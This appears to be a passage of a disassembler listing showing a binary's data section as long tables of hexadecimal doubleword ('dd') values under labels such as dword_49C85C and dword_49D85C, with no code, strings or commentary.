dd 3DDDAF7h, 0F01A14D1h, 1C684CE6h, 4A4E2B9Ah, 0B8D877E9h
dd 0AB0152h, 5E364F8h, 0E8E417A2h, 10FE63A6h, 810AD37h
dd 52107387h, 47B1AE5h, 105F8C28h, 8C863A7h, 18107D1Eh
dd 627DCB6Bh, 9B55107Ch, 32FE102h, 8185A49h, 0BD1890DCh
dd 0CCBC8088h, 437410C4h, 0F141220Ch, 62094E40h, 0ED5D0895h
dd 10143D03h, 18B6D120h, 96101228h, 0C408C434h, 93710615h
dd 13D62020h, 10EA2F33h, 978110C0h, 0C5AB1099h, 312C7010h
dd 6AEB7966h, 0A9109203h, 33108012h, 94871910h, 8886581h
dd 0B0CC4D2h, 80F0D975h, 8C459CCh, 0BB069AFAh, 0D4202065h
dd 0F1F963F1h, 8108D1Ch, 0B6106DFEh, 0C0213E35h, 306B6324h
dd 8186908h, 52187812h, 0D308C476h, 7A190664h, 5BD82020h
dd 10ECCC33h, 0BD1910C5h, 9F5330Bh, 31791006h, 97621861h
dd 8003D528h, 10C6DF8Fh, 2008D342h, 0BE20F214h, 2BFF37C7h
dd 1CE7E428h, 4125BD0h, 0A92C5942h, 0CA852D7h, 913B84A4h
dd 78BC438h, 4304B4F4h, 79860460h, 4509390Ch, 0A518E063h
dd 18081987h, 8C98189Fh, 108C8159h, 0B1D440F0h, 0DEA6D0A8h
dd 8053EB80h, 1C806B4Bh, 0CFAA80B9h, 0C637FD80h, 8237B18h
dd 0EBF17466h, 0A7D220C1h, 1568CE49h, 31C85D10h, 0A09D1029h
dd 5C18088Ch, 0B7635B18h, 3154EC08h, 4DD96918h, 480888A1h
dd 659408A8h, 85AF708h, 31B1FD5Dh, 408A9694h, 90F863BAh
dd 545F2407h, 10C479B9h, 9F06AF0Ch, 9920088Eh, 1B6624A2h
dd 0D91B1BCh, 0A2170277h, 372B5ACh, 102A4AF1h, 1575E470h
dd 9AAA7880h, 514D04h, 3F080631h, 3C4D011Dh, 11104803h
dd 0B0314732h, 8C83D9D1h, 828CE10h, 18766F6Ch, 0D40C5B48h
dd 0C6DD1074h, 185864B9h, 6E5DA122h, 0E6081019h, 8BA970Ch
dd 778240C2h, 0A68D69C5h, 24F3D849h, 330ACACCh, 32199CB8h
dd 0E4A48E48h, 87FC9193h, 1CB9AA74h, 0D9C81875h, 6975084Fh
dd 2A17908h, 0E8FC9C60h, 6097A464h, 0C74DD5E2h, 8EC78B3Eh
dd 904AED44h, 752C4773h, 13EB020Ch, 6FB90E89h, 5403DA7h
dd 408F4401h, 0C90B4901h, 748BF775h, 0DED0A561h, 0A8F04F03h
dd 0C033873Bh, 4FB10F80h, 422CD330h, 4434685Ch, 132DF5CCh
dd 60DA7C2Dh, 0E8BAABEDh, 0EB294D17h, 0ECB5E8FCh, 0B78B066h
dd 0A8425AA6h, 0F0283999h, 0CFFC2FE1h, 0E9C009A0h, 60C4292Eh
dd 0AEDD329Dh, 57B11827h, 8D69552h, 6B1BE9F8h, 5453F227h
dd 82D91027h, 11F086FFh, 80301A60h, 3BC048CEh, 3C7304E6h
dd 27FBFEE1h, 0CCDE6BF6h, 89EB9F3Dh, 0E9F9C381h, 388439C9h
dd 0B36C295Fh, 76DE0FB3h, 8DEE32F2h, 87F27A4Dh, 5A4EFDC4h
dd 132EC0E2h, 0AE56D34Ah, 1DBBD600h, 0BC432167h, 908B8B85h
dd 0A696B0D5h, 726FFF11h
dword_49C85C dd 53F3586Ah, 0F967071Fh, 289F437Eh, 75273C6Fh, 0B03A1889h
dd 0EECE3164h, 0EE66C98h, 6412E28Eh, 0AB1181h, 1DD32502h
dd 0ACBF1BD7h, 79F0DB57h, 0E9F1C201h, 0CEDF5188h, 0D5014B74h
dd 4E7CE8F0h, 6A015DA8h, 0E9268D21h, 5F48245Dh, 1769D2ECh
dd 82DDF4A4h, 81454F2h, 5B295500h, 0C2229413h, 0C6FDF1F6h
dd 7E5823B0h, 7FE7B42h, 0CBDD6258h, 4A20834Ch, 0B951027Dh
dd 1DFF0A85h, 852CFFE1h, 180F6890h, 9F89A6B4h, 0EB8262F9h
dd 4A094C52h, 9047DD01h, 502BFEA7h, 0C8A6296Eh, 827A659Eh
dd 8D17A7h, 83BA5250h, 23666B19h, 0A0FB2CAAh, 35BB82Fh
dd 0E9F41554h, 583B3FDCh, 81481959h, 173AFD6Fh, 616CAEC9h
dd 27D52FE9h, 77CB94F9h, 1F2DB31Eh, 4FF47C4Ah, 7E47BB06h
dd 260220FDh, 74837104h, 0CBFFDE31h, 4D9A091Ch, 0FBAC401h
dd 215C790Ch, 0BAFD7EA5h, 0FE83A627h, 0E18F3FEEh, 3941EC9Ah
dd 0CF03F970h, 316B27B6h, 6AB3F9CBh, 82E48E2Ch, 44081C19h
dd 428D62h, 8245C29h, 2B055B4Fh, 89459468h, 0FC2081E9h
dd 3D50E0C5h, 30944E85h, 0AED3802Ah, 67BBEC44h, 50B588AEh
dd 85126843h, 35CCCA4h, 239B561Fh, 63573B4Ch, 21B0FEBh
dd 5064FF34h, 5A0F12E3h, 0D7C70473h, 0AB0325FAh, 0EF46238Ah
dd 0B269D84Ah, 4ACF3749h, 3BA88181h, 6F05F681h, 7F7E923Fh
dd 4B071810h, 0CEA57D29h, 0C5161C73h, 0E604DDFCh, 80762C5Bh
dd 0D3A41E72h, 84E0894Ah, 7F90F987h, 57581C75h, 0EBB2F1A7h
dd 201D9777h, 1BFE3CC2h, 68840930h, 539C51C3h, 3E405F69h
dd 0EF38305Ah, 8BD71559h, 20531384h, 4DB8A330h, 0AE20018h
dd 0AA4F2C2Dh, 0E8018333h, 79F505FFh, 0E7D406A3h, 3E0D30D7h
dd 8A1B717Ah, 98317B41h, 35650805h, 17F81FCh, 1AC6BEF5h
dd 20E82107h, 0B7B19864h, 89682FBCh, 3895002h, 3332E381h
dd 89F75DFAh, 0FC25D25Ch, 7AE9D053h, 5E245267h, 7D6C7762h
dd 4EDC9D18h, 0D7AE11D2h, 0AFEBB2CAh, 4DF2D00h, 4CA5904Dh
dd 84227C8h, 3C5B5927h, 9C1B440Fh, 0A0267229h, 0AF89021Fh
dd 7709EEFEh, 0C9665368h, 38060748h, 0EC2F0B69h, 0D7E9070Bh
dd 47029CFh, 0E3B8ECC9h, 81B2BD4Fh, 2CB350F8h, 521CC03Eh
dd 0D69237E9h, 54F4498h, 8917E3CDh, 0BD031544h, 0EB21EB0h
dd 6124C7F6h, 0E90B0111h, 3B74F2F4h, 45A59ABBh, 61B7401Ch
dd 2F119A16h, 0B27CF6E6h, 0A0096B28h, 0D5ED6BFCh, 0D4315384h
dd 6EC2BE41h, 70EDE005h, 1E19277Fh, 0FA6034D9h, 9874B222h
dd 50480CEEh, 310C2807h, 2B4898EAh, 0CE6544A2h, 0EAF18728h
dd 118D113h, 69201730h, 2149139Bh, 0B5C00BD3h, 50825112h
dd 16754EE3h, 0B40620CAh, 9ACD013Bh, 820E2116h, 7DC24D32h
dd 260B8465h, 5894FE35h, 6ECA152Fh, 1A099B5Dh, 16B22B17h
dd 7D47A1F4h, 23987F86h, 8101D901h, 1952A0EEh, 467B5971h
dd 872539BAh, 5D0BF376h, 0F08974E3h, 58C226B4h, 0D0BD36Ah
dd 101F51E9h, 0FF402BDFh, 0BF7CD9C7h, 0D0BC7A6h, 0AF0768h
dd 453427E7h, 36FD1B5Ah, 45410841h, 2AA692F9h, 90D25A59h
dd 13ADE924h, 6439B980h, 0A32934FBh, 971EAAEh, 0F6392055h
dd 5A52DD5Fh, 2540F102h, 0FAB66EDBh, 0AC93D86h, 2D7C52B5h
dd 9B98FA21h, 20CF290Bh, 0D9B1C654h, 205C7C0Ch, 0CF90C1E6h
dd 0D83DD40Fh, 0DC4F6536h, 2895E944h, 0B91E52h, 33BC2373h
dd 97647FE9h, 53BB04EFh, 2DB4ACA2h, 0E3D85EBDh, 0C5D5210Ch
dd 483D930h, 0CB17A20Ch, 988B105Eh, 14A5D3BCh, 99F1EF0h
dd 49A0B2FCh, 3DA4318Dh, 831B589Dh, 6B12A807h, 0B047A7Fh
dd 1ADA08F6h, 520154C8h, 5B28E980h, 0AC489541h, 7E38059Bh
dd 0CFED14B5h, 0CE17964Ch, 0CDC0C071h, 107F7352h, 0A4F14D7Dh
dd 0A96F10FEh, 1CBEB939h, 94452A0Ah, 1C78102h, 0FF6E061Ah
dd 508D1A8h, 0BE3C875Ah, 7268CADCh, 0CF0F9490h, 0FF74AF44h
dd 0D1F44E2Dh, 21ABB19h, 6DD441D5h, 21666540h, 1334409h
dd 461807D6h, 4FAC170Eh, 722626D8h, 0E94DDF05h, 62FCA983h
dd 0AAD6F785h, 5C0D8D36h, 904425Bh, 0BCA03284h, 0DB68095Fh
dd 9E94577Ah, 95FFEC95h, 0C342F2F6h, 0D8F700F8h, 970F2D48h
dd 0A53FE064h, 0D65AA1A7h, 6E84D52Ch, 1DE0172Bh, 0EB3C1388h
dd 5F80B14h, 47D4132Bh, 0DBB8402Dh, 0D014C05Ch, 0ADF680EEh
dd 5AF5201Dh, 0ED0BD55Eh, 0FB805D42h, 0FE86B252h, 0BD04C26Fh
dd 0FD28BE09h, 221D8090h, 0E63426B2h, 0DAC70604h, 0AF634460h
dd 0D6F71328h, 98100746h, 0A8B98467h, 0C70973BEh, 20AC2CE9h
dd 0B2320994h, 0E1EFFF50h, 94281C90h, 6B848BDEh, 0F0F3257Ah
dd 595A2F2Dh, 0F25FCEE3h, 28AB93DEh, 0D15E88C8h, 129F1CA0h
dd 0F1FEE6Fh, 0E2C1F9F7h, 3B01051Dh, 0BD800EA2h, 0F7A63ADh
dd 433AE916h, 27E1645h, 52FA98EAh, 0B309507Ch, 8211292Dh
dd 0AFB1D235h, 5ED80427h, 83BEEB4h, 895CA421h, 29187149h
dd 322D03D1h, 5F88526h, 552D21E2h, 49B64111h, 35587F80h
dd 17065A8Eh, 39E68DA0h, 1602413h, 8188DC4h, 0F928218Eh
dd 68B0C83Bh, 0D6923CF8h, 0D19A4B95h, 0D47C27F4h, 0C7C081D4h
dd 30A49BBh, 3EE00CC1h, 76833A2Fh, 1AA54A94h, 0D4E0C03h
dd 0E6015641h, 42088328h, 2042140Ch, 0F76B2C41h, 19A34EA0h
dd 1DF73E10h, 79D3D42Ch, 0CE813540h, 7BDE745Ah, 124B4939h
dd 7089680Ch, 8C4A62DBh, 6E83ED27h, 9D1789Fh, 43E10248h
dd 0FD25D676h, 6F89F6B1h, 55C474B2h, 0C27D91F7h, 311E64C5h
dd 348C358h, 421A71B9h, 0B568F129h, 0B814603Fh, 56483693h
dd 0AFBA00CAh, 0E91C4B30h, 0AD295F3Bh, 46D7B5DFh, 5D01EDF5h
dd 35D92BC8h, 7DD20C82h, 0A8554E7Eh, 0C340806h, 4200145Fh
dd 5B6BDC46h, 383229E9h, 0B13016EBh, 0ABDAEC22h, 2B816C3h
dd 565935Fh, 0E443F3AAh, 0E9930219h, 0B9783C0Ah, 0FDB044A0h
dd 50400FB4h, 90C01EB4h, 161C9077h, 4D4308Eh, 0DB75E50h
dd 0B1F87258h, 21EF1957h, 6A91CF8h, 2AC606B2h, 0C26822Dh
dd 12B91702h, 0E0F309C9h, 0BAD280E5h, 79B13C52h, 9D7BD32Ch
dd 0DC454B35h, 4E2081FDh, 2620F759h, 167897D7h, 0F210E92Eh
dd 893C60A6h, 7EE63B77h, 4768308Fh, 455C4A0Eh, 0B089065h
dd 5CE7AAE9h, 0E255722Eh, 9F845B79h, 97550956h, 0F479B792h
dd 3B65B460h, 24BF9431h, 6B2583EDh, 0E9A80D67h, 80824C6Fh
dd 0DC478C6Eh, 0D6A6C15Bh, 40207111h, 1B5D3EE6h, 0D9FD385Fh
dd 93050841h, 8C30F013h, 0C6760868h, 0A7F467B3h, 0C8ED555Eh
dd 403BB281h, 0A37E9A26h, 0AC7B5524h, 448A10BFh, 58BB94Eh
dd 92BACC5h, 999DDBC1h, 34C11204h, 6CF00B56h, 0C618DD8Eh
dd 6F14C1CEh, 6B40B2Dh, 1C4065F0h, 90A7EADEh, 0BD017BA8h
dd 0EB80A345h, 62B307ACh, 99680455h, 0FA71EA37h, 743FED92h
dd 81410087h, 402DE6C9h, 85684C0Ah, 0BE608639h, 676D0F6Fh
dd 0A3997266h, 0A2303C17h, 0DBBF26BAh, 0E1D07C9h, 305FFA31h
dd 0F1895AD6h, 585C5497h, 0D99F5FC5h, 0B289BCADh, 5BEA0127h
dd 63331A7Fh, 0E037C20Eh, 0A240586Bh, 70180FCh, 483E0435h
dd 0EC4AA364h, 0BEED0266h, 0F64BE476h, 724A0A18h, 0C8C98183h
dd 0D923F66Dh, 0D93DCCF1h, 0E9035F7Ch, 3C534266h, 310B6D1h
dd 25697D80h, 0B7F9CF29h, 5098AF3Ah, 4C8499h, 5F1C96BFh
dd 0FF43E90Bh, 8071D3B5h, 0C380D3F6h, 0D8522811h, 0A9680A0Dh
dd 2E888512h, 0B2BA0113h
dd 21285A7Ch, 81FC1009h, 4B1DCBE5h, 0F59E092Eh, 0C2CF48D9h
dd 0C6B496Dh, 9EE95548h, 53ACE7A8h, 10AA6818h, 0BDDC4267h
dd 9D417792h, 4F6C739Ah, 99E3B037h, 287E0B03h, 0AF6959EBh
dd 5007DA58h, 0E6B663h, 3675EF89h, 0FA01736Dh, 2430DB95h
dd 0B4E17DCh, 0CE074AEDh, 27F8918Eh, 0EA6C09h, 2FE97744h
dd 3083D0F7h, 2D0A01E8h, 0F3EF7341h, 0D5EA37F2h, 0C9A6D975h
dd 2B17F010h, 7F5AB2C9h, 0E2DA4C6h, 0C0349282h, 9FF795E8h
dd 0BF300B46h, 0F3BE22FEh, 2852E38h, 41738231h, 86F0314Dh
dd 0D1091A4Eh, 2167F57h, 68525F05h, 0A0443241h, 46F85A55h
dd 99A5BCAh, 0D656FACEh, 1853EF60h, 4C2DB8C5h, 84190DFh
dd 0F9B3728Eh, 6CEBE13h, 41C42C2Dh, 0CC535D27h, 0BE560578h
dd 0AE1E5E90h, 94A0CC0h, 20E9E42Ch, 0D8F7E35Ah, 42257536h
dd 0BA8BD44Ch, 0E61E1F7Bh, 162C962Ah, 0AABF3155h, 0E44749D8h
dd 67979A22h, 32348D70h, 0E5B02A3Eh, 7D451835h, 6B7A8A0Ah
dd 168762Fh, 1C374C26h, 3EE5B8C4h, 0E98498EBh, 0AF011F0Dh
dd 0F73DD6A2h, 4D022DFCh, 0EBB57151h, 0A57649AFh, 0EE7D20Bh
dd 394C1C14h, 0DAA25B9Fh, 0CA2FF25Bh, 531293B2h, 0DFFEE6C4h
dd 9F867620h, 3BB74214h, 0AF238E9h, 41F7C73h, 214E8CCAh
dd 78D8AE48h, 7EE916DAh, 0FC1656F6h, 0D5701ABDh, 4BECF110h
dd 78A90955h, 0B5BB7E8h, 0FDBD688Ch, 1B5F2AE9h, 55F30590h
dd 0B9C337E3h, 2507480Bh, 14814C27h, 0A3287868h, 26DF0BDEh
dd 7EE91171h, 3F425AEDh, 868060Ah, 0AD00B31Bh, 8E47942Dh
dd 29F9B04Ah, 4BB6A850h, 32467B02h, 925D2EA7h, 0E9FA50D4h
dd 9E8A52C4h, 32D78806h, 0C4C9F3FEh, 0AB458858h, 5607F01h
dd 0B92F5F41h, 0E9579895h, 44DF6B79h, 88EC3ED7h, 0BEF4E90Eh
dd 138611DEh, 0A4B8FD03h, 0ADB1AC97h, 2B022A02h, 9DE49E7Dh
dd 0EB5E90A4h, 971447F0h, 12B52E4Ch, 0D9E7752Fh, 72637625h
dd 0A03167DDh, 161E4BAAh, 4D3F05E4h, 164CC8E4h, 1DDB5F14h
dd 140807ACh, 0FA255629h, 26F5BC0Dh, 0D6DE192Ch, 0AC3D4BF2h
dd 0E3413605h, 26200A0Dh, 0C1ACE501h, 0FE376703h, 4834EF58h
dd 25959EBEh, 0C25305Fh, 355822Dh, 383DB5Ch, 11BBE541h
dd 0CDB0564Eh, 6F2E1EC3h, 0C70E1025h, 5667C91Fh, 31DC2F68h
dd 891D71C2h, 0F92A8479h, 0BD36CCBFh, 82ED1AF8h, 23209634h
dd 6D5D42Dh, 0C25E6426h, 0FA04720h, 0DE215D59h, 96FB1E24h
dd 9F0F384Ch, 841FF16Ch, 0DAEEE441h, 0F0641653h, 4E7974A3h
dd 524209E3h, 0C2C6705Eh, 331D2678h, 14F3A7BAh, 404D0BBEh
dd 1239002Bh, 58BD0B3Fh, 0E4244953h, 3BD7ACA1h, 565FB0DAh
dd 19870F17h, 2D1DA7B0h, 0CD5C306Eh, 5CF9010Ch, 0E9123DB5h
dd 358A6809h, 908DB6F1h, 9E6E1084h, 26B2034Ch, 8095C780h
dd 5EB8E9D7h, 927AB2F2h, 5455AF71h, 0E0B02D78h, 71B70125h
dd 0E0E4EC23h, 0B0013F27h, 0B9514Bh, 0B7518FEh, 4D7FE181h
dd 0B898977Dh, 89A0F583h, 70B3046h, 21A6A7E9h, 7D87687Dh
dd 0B326907Ah, 2AB05141h, 88604063h, 0F94EB9DCh, 4846F76Eh
dd 0CE4A20E0h, 9F29DC5Ah, 0DD0AE609h, 614302D9h, 2F74CE7h
dd 4519684Fh, 0BADEB081h, 0FB2F6652h, 40529A0Bh, 2D1D1FB4h
dd 9C01620Ch, 807D58CDh, 40A0F3DAh, 32E96D75h, 0E74D4778h
dd 13CE2040h, 9269925h, 0BDDA8AA4h, 21705492h, 0B503C968h
dd 2FCB4D98h, 0D061FD25h, 0D8681658h, 0D5FC246Ch, 0F567F8D2h
dd 258963A8h, 0DAD61AABh, 540700E9h, 0BD0A1F17h, 881F7FAh
dd 17342E5Dh, 7B4B4BAh, 0B56ABEB1h, 6A09513Ah, 0E6C3B200h
dd 280B6675h, 8095FB01h, 6C555108h, 1BC82FBDh, 2AE19570h
dd 0E3CBB4A8h, 6D4162Ah, 65BEC80h, 48FBFD70h, 0FF7FF5h
dd 1346E6BFh, 74F4473h, 446F9A1Dh, 0A15EC06Bh, 635E332Eh
dd 0B906AEA6h, 2255F877h, 1DCFDE09h, 0F36160E9h, 3F0E84EDh
dd 0DF43522Dh, 4B7C14C1h, 0F1F4490Dh, 58831776h, 9CEC1E41h
dd 5B953001h, 7F485D68h, 69BBD6D4h, 31242028h, 0FF0CEF69h
dd 3672EF00h, 4C9F3A59h, 480612C6h, 239B6BCh, 4C65530Dh
dd 92F05626h, 0EF788522h, 97CA90DCh, 8BC274F9h, 90394880h
dd 8F98972Eh, 1793F00Fh, 4D5F7005h, 7395FA81h, 5252303Ah
dd 19630768h, 692D7953h, 9DF8A5D9h, 6C90F751h, 5F44D2AEh
dd 72A65E02h, 0C3869A25h, 0EFE63480h, 0FA17A970h, 3B1C535Bh
dd 5A92FC9Dh, 0DF580109h, 0F168D710h, 0AB6734Ah, 0B1FFBC97h
dd 0E7D5D828h, 80D04260h, 68185A53h, 27CF1EFCh, 0E1D18398h
dd 50904C79h, 3C391EF2h, 0E15D505Ch, 8FBD2AFDh, 0C3B28F89h
dd 215ACA18h, 38E9D144h, 9E702C0Dh, 0B0AAC35Fh, 0DFEBBB03h
dd 0DAC3DE1Fh, 3BA9F810h, 3399D031h, 2E06ABBAh, 0D92688B9h
dd 0FB09A4A0h, 706FCFE8h, 0E90DE10Bh, 9D752FDEh, 28A2FD88h
dd 46AC0BE9h, 83C30B40h, 2C49B3F1h, 0EE65E742h, 1F8653F5h
dd 562FB0E9h, 12F72C3Ch, 60AB51E2h, 1358B03h, 15ACFC9h
dd 0CB4E5DB1h, 0BE14C520h, 91732FF4h, 6CB89244h, 0B1AA5C30h
dd 184C7E16h, 0C42148B5h, 30075F66h, 26E872CBh, 0B9E998DDh
dd 0B0391F08h, 0EDF8665h, 120CC901h, 0C7A165Ch, 7E3DF8EFh
dd 35589542h, 0C410883h, 0E9FC4814h, 1134A13h, 0EF684AD1h
dd 151781ACh, 6550FEB1h, 4CDEE4E3h, 0C19005Bh, 2333414h
dd 0A69A485Ch, 6999BEEBh, 0E152387Dh, 1AF1BB86h, 0E1F7DD8Dh
dd 52A5306Bh, 61A74B22h, 0DA710B2Fh, 0F5D282EEh, 4310E000h
dd 409F1768h, 0B627C308h, 0B4F5E915h, 570CED82h, 0BA0071B6h
dd 6B932037h, 77912768h, 7B070E18h, 2D1CA700h, 123B7123h
dd 0B0A8B831h, 3370261Dh, 5C15BB5Ah, 3F6C70BFh, 79C1EC16h
dd 0A93CFDEEh, 3A1DF01h, 0BBFC2C93h, 54E08208h, 8FD03070h
dd 0B9B2D00h, 97056CFDh, 3DF0F08h, 794D001h, 0DE11A27Ch
dd 0CE405AA1h, 9F1322AAh, 0CBFA011Ch, 20AD58FEh, 95B94E1Bh
dd 0B9ABC57h, 75E82158h, 22D54A9Ah, 0A1790C0Ah, 21446874h
dd 0E99F607Bh, 0F7829A16h, 0AB205F4Ch, 0D8F70182h, 5E2A4625h
dd 0A291705Dh, 7F870140h, 8D660F5h, 8105E5C1h, 398CCD05h
dd 0FD012ADDh, 0CE856DE9h, 89EC043Ah, 368E3EAh, 0BBE9D529h
dd 0B3FB8496h, 0DD631261h, 5425BBE9h, 8D4CF6F8h, 9D680B2Fh
dd 79263013h, 9B40823Bh, 95AA3036h, 60B0F042h, 0F397F589h
dd 0BE08837h, 8E6C104h, 8153C0AAh, 0F7131BF6h, 12A00153h
dd 5AFB0905h, 67D80E1Dh, 40760782h, 0B9F17758h, 90C2A25Ah
dd 4336091Fh, 0A657442Ah, 0BF113A28h, 94DF47E2h, 97E915F7h
dd 0F2038116h, 5AD12876h, 20EACF9Bh, 0EE27DA7Eh, 2EA25A2h
dd 0E91369E6h, 27BE5A73h, 893E8298h, 0E2BB4FA0h, 45012670h
dd 28B4E381h, 0C3B7F43h, 0F7144B1Ch, 40BA621Eh, 520713BBh
dd 0FD668A0Bh, 0B951BF14h, 0B4C93E43h, 82531920h, 0A9CE9977h
dd 0F3BC58F7h, 0E810416h, 0FAF096Bh, 0E6E2ECC9h, 0B74B1E7Dh
dd 0A95ADDC6h, 0D5F7F205h, 3226BE80h, 6842091Ch, 616671A4h
dd 1861D20h, 5640D40h, 0DF483D31h, 0D093E497h, 607E3508h
dd 66118225h, 0DF68018Fh, 59129879h, 93862F29h, 0BF40B0A3h
dd 1CC639C0h, 30F7C6AAh, 396821C9h, 659312CAh, 0C6D4EC58h
dd 9710D3FBh, 7C7200D6h, 94878B50h, 5AC696FDh, 4C868E5Ch
dd 0D04889ECh, 0EC4886F0h, 5F07812h, 77224035h, 0CEF6827Ah
dd 790C7809h, 77E69D15h
dword_49D85C dd 1456CD26h, 66826665h, 0E003D763h, 812CE085h, 5B58D5CCh
dd 0F2E65C88h, 0CB79ED25h, 5C6C6804h, 0DCC519E8h, 79CCBA61h
dd 222812E9h, 5BB6D801h, 0E468DBC2h, 0E949A727h, 82547D95h
dd 0C15B73A2h, 0E9F015A8h, 96D09Eh, 0FC0EE581h, 0A604937h
dd 3BEE4119h, 42F09A99h, 2853BFF2h, 0C0D2C937h, 0AE19F53Dh
dd 487F3B8h, 4F93E658h, 5CD0DFBDh, 32B80311h, 0C25B585Ch
dd 5650D693h, 0DE200C90h, 5B6614C4h, 0A5C75A53h, 6F5D09BFh
dd 94D5A52Ch, 1E56485Ah, 69BD0F20h, 73C0B4F7h, 2023B855h
dd 5F7607E7h, 222D7C2Dh, 829059EBh, 2C806h, 0ABB1515Bh
dd 73B2804Ch, 30B9C100h, 0E4C059CCh, 0EAF4F805h, 0F6C419FEh
dd 0CBB8DCh, 272FACB8h, 425C7B65h, 75140D00h, 3A2D395Ah
dd 3BAE77F1h, 44D303D2h, 0C0437EDh, 74F627FBh, 841F2B9h
dd 0A5140CA0h, 0AB529309h, 9EA9A78Ch, 0D7290474h, 0CA67EF5Ah
dd 54B08FF5h, 3FF6DBAh, 9E287E28h, 0D680553h, 0C2210F1Fh
dd 0D87FD5D7h, 0D865B719h, 0A86AE984h, 0AE0FBCDh, 82E6BCB5h
dd 4228727Ah, 913D8077h, 4C6B0E05h, 21184489h, 0A5F152C1h
dd 3927640Bh, 531BC001h, 583489F3h, 2C50BB4Eh, 695F2078h
dd 29BFBD25h, 86354796h, 0C5078F1Eh, 40DC7A6Fh, 0D66132B2h
dd 0E2404A50h, 3E0C2AA6h, 12E2946h, 0E5F74945h, 386F8CB1h
dd 0E87D6830h, 82305926h, 0BC140A1Bh, 77C42F82h, 514B8202h
dd 0CF85DF80h, 893F16EEh, 0CCF6AEF9h, 5748668Eh, 35D896B1h
dd 906F7AD8h, 4BDDA169h, 6D3C2B72h, 0D139912Ch, 5AD42053h
dd 8A76C7A4h, 0FE78EF25h, 1E686156h, 60683B64h, 0CDDC975Ch
dd 84FC6395h, 0FC13DFADh, 0D050067h, 6A5E2BC7h, 75260B25h
dd 805F65A2h, 87F60DFh, 3A030E9h, 17CFC28Dh, 0F7537827h
dd 2DF6052Bh, 2FFE4E08h, 170CA3F0h, 0E6F4EEC2h, 55A3A21Dh
dd 0AFEC1DDBh, 0B0275C75h, 0C4D5ACD2h, 8EC4AB8h, 326820D8h
dd 3F6B7F03h, 28D3015Ah, 80D0C306h, 0BAABE90Ch, 76AAB78Bh
dd 3E6A0446h, 592DC773h, 5A134676h, 0D1C7ACB8h, 1B6BE1EDh
dd 31BC2F01h, 2FA4BBF7h, 0D3D2BA59h, 544775D8h, 890676A7h
dd 6C105587h, 0C425A209h, 0E2C05C96h, 8777CE01h, 44A5AA25h
dd 0F4DBB006h, 0D831169Ah, 36D98D5Bh, 1D5424B6h, 0F35E2310h
dd 401917D4h, 0CAC962AAh, 36756F42h, 0B02629C3h, 0CF018924h
dd 0F624F4DBh, 42BEA71h, 0AA435D8Dh, 9AE133DCh, 895A13E4h
dd 0C3231CC5h, 231C43F5h, 0C152EDB0h, 0E936FD04h, 0C5F3DF0Dh
dd 5EDC5332h, 5B4FCFF0h, 0ACBA1204h, 0F84EA4B3h, 0BFA8E124h
dd 2D5C4DBEh, 0AB105648h, 2F2958E4h, 0D7D4426Eh, 14108167h
dd 687C1CF2h, 13FAB9C0h, 49150427h, 0F90F64E9h, 0D568824Ah
dd 81177145h, 6AA85415h, 18DDF857h, 5F3CE10Ah, 0AA02B14Fh
dd 0C028EE32h, 266C2C33h, 2C61C65h, 64224F9Ah, 0B89D22DDh
dd 814600EFh, 0A302CCEh, 30EE0CE5h, 4B320318h, 415EF109h
dd 0C85840D7h, 0E939A077h, 69EA4FD9h, 96CA6F98h, 8E18012Ch
dd 35E55D5Fh, 99BD88A3h, 2F98AD5Ah, 0B2928E3Ch, 5B091F96h
dd 1F998445h, 0C4BA0594h, 0F43CBF84h, 1C573121h, 2FE40366h
dd 863C65CDh, 0EB77BE4Ah, 5D8CA9F9h, 13B0833Eh, 6A28F22Ch
dd 0F7D83E38h, 2CC6812h, 0E3B0A2CCh, 0C4E2D47Fh, 8CCF373h
dd 172DFE9h, 1157A968h, 39BD6078h, 2570324Ah, 0AC545758h
dd 60534A8Dh, 877EB993h, 86503727h, 2C5DDC9Dh, 9E7CD89h
dd 0B9130109h, 0AFF447FAh, 0E2A3592Fh, 714802E9h, 51035359h
dd 0CE383D68h, 0E2E2C734h, 0EDF4A0F7h, 17BBC7F6h, 0C0EF29A1h
dd 113097DAh, 6BB85C5Eh, 2106985Fh, 957478B0h, 0B3AD0140h
dd 0C11B96C3h, 42DD31D3h, 0A8DBDE90h, 964BE36h, 6E8A4C42h
dd 5155D680h, 81011277h, 0E53B74CFh, 40C64733h, 58FCA97Eh
dd 0FB1622F0h, 0A148BF5Fh, 0D3C402DBh, 4459EDBCh, 9754702Fh
dd 0FFE91254h, 68618F65h, 0C9891B69h, 0E5B3BB89h, 226F0590h
dd 0AE38103h, 1F577E61h, 446CEBCh, 0C1DFF713h, 399FB7F0h
dd 64800FF5h, 38524448h, 8D2EDAA3h, 0F0299626h, 0CB96A77Bh
dd 53055F00h, 23A2107h, 76CBBD55h, 0D38048CAh, 5FA94C1Eh
dd 0A20CE5ECh, 0C77117Bh, 612F0285h, 74CCE96Bh, 9989F8A5h
dd 0DEC18212h, 0C07D8040h, 273BCECFh, 53EA16DCh, 135E080Ah
dd 41EE0B2h, 0BEC42072h, 0D596366Ch, 12757394h, 430902C8h
dd 5463E917h, 7858BF2Fh, 0BCA9F419h, 0BAFF257Eh, 0EAFD8632h
dd 26DAAC0Ah, 0C9AEC6B9h, 0E9C15A76h, 519D2C59h, 8D1DC9C3h
dd 2896B35Dh, 0AF8130h, 2FEF5D6Ah, 67D26858h, 0B391A9Fh
dd 0C88DD0Eh, 85C9ABC7h, 855E389h, 5200E6C9h, 0BE3B59BAh
dd 0BCC2F631h, 25F63DE0h, 0EAA0F00Bh, 4BFB25D2h, 4E65894Ch
dd 0C21092B1h, 0B260A1E9h, 453607A3h, 0BBD14037h, 25771102h
dd 9E451C75h, 4C98881Bh, 3BB85816h, 1EDC5F2Dh, 3AD212BFh
dd 93925E67h, 3DE40B4Fh, 0F8DD2927h, 0BF40BF0Bh, 7F256843h
dd 8BA7D942h, 87E8019h, 735E87Ah, 0E5E98017h, 0D30A9558h
dd 0AE0782A8h, 2480CDFEh, 3BC7BE42h, 0F7BAF562h, 3D518162h
dd 5296B441h, 0F5C8E6FDh, 2076985Ah, 52DF1C16h, 0ECCEDD5Fh
dd 0F8E5AF59h, 5EE9EA2Ch, 0FB52840Eh, 7B30CCD7h, 987F0351h
dd 575F0928h, 8DE069FFh, 0CC9A3E41h, 0DC6EB52Dh, 0FAE9F073h
dd 5A1235BEh, 64C5E901h, 46F02F33h, 56B2A6EFh, 0E913218Bh
dd 0BBC78075h, 5A133C57h, 8EBD2112h, 570334h, 2D65C282h
dd 28B53C2Ch, 5E170813h, 3424E2ECh, 4D458539h, 678AC081h
dd 54985131h, 78D15B01h, 25ADE9EEh, 161D1C2h, 447441F1h
